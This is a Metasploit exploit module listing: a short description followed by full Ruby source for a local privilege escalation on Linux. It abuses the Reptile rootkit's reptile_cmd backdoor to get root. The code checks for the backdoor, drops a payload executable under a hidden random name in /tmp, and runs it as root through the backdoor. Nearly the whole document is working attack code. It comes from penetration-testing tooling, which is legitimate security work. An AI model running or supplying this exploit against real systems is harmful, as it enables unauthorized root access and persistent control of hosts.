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Reptile Rootkit reptile_cmd Privilege Escalation

Reptile Rootkit reptile_cmd Privilege Escalation
Posted Dec 23, 2019
Authored by Brendan Coles, f0rb1dd3n | Site metasploit.com

This Metasploit module uses Reptile rootkit's reptile_cmd backdoor executable to gain root privileges using the root command. This module has been tested successfully with Reptile from master branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).

tags | exploit, root
systems | linux, ubuntu
MD5 | a45009c7d529d2cc46cd3ba0f3c2c122

Reptile Rootkit reptile_cmd Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation',
'Description' => %q{
This module uses Reptile rootkit's `reptile_cmd` backdoor executable
to gain root privileges using the `root` command.

This module has been tested successfully with Reptile from `master`
branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'f0rb1dd3n', # Reptile
'bcoles' # Metasploit
],
'DisclosureDate' => '2018-10-29', # Reptile first stable release
'References' =>
[
['URL', 'https://github.com/f0rb1dd3n/Reptile'],
['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_options [
OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def reptile_cmd_path
datastore['REPTILE_CMD_PATH']
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
chmod path
end

def check
unless executable? reptile_cmd_path
vprint_error "#{reptile_cmd_path} is not executable"
return CheckCode::Safe
end
vprint_good "#{reptile_cmd_path} is executable"

res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip
vprint_status "Output: #{res}"

if res.include?('You have no power here!')
vprint_error 'Reptile kernel module is not loaded'
return CheckCode::Safe
end

unless res.include?('root')
vprint_error 'Reptile is not installed'
return CheckCode::Safe
end
vprint_good 'Reptile is installed and loaded'

CheckCode::Vulnerable
end

def exploit
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

payload_name = ".#{rand_text_alphanumeric 8..12}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

print_status 'Executing payload...'
res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "
vprint_line res
end
end
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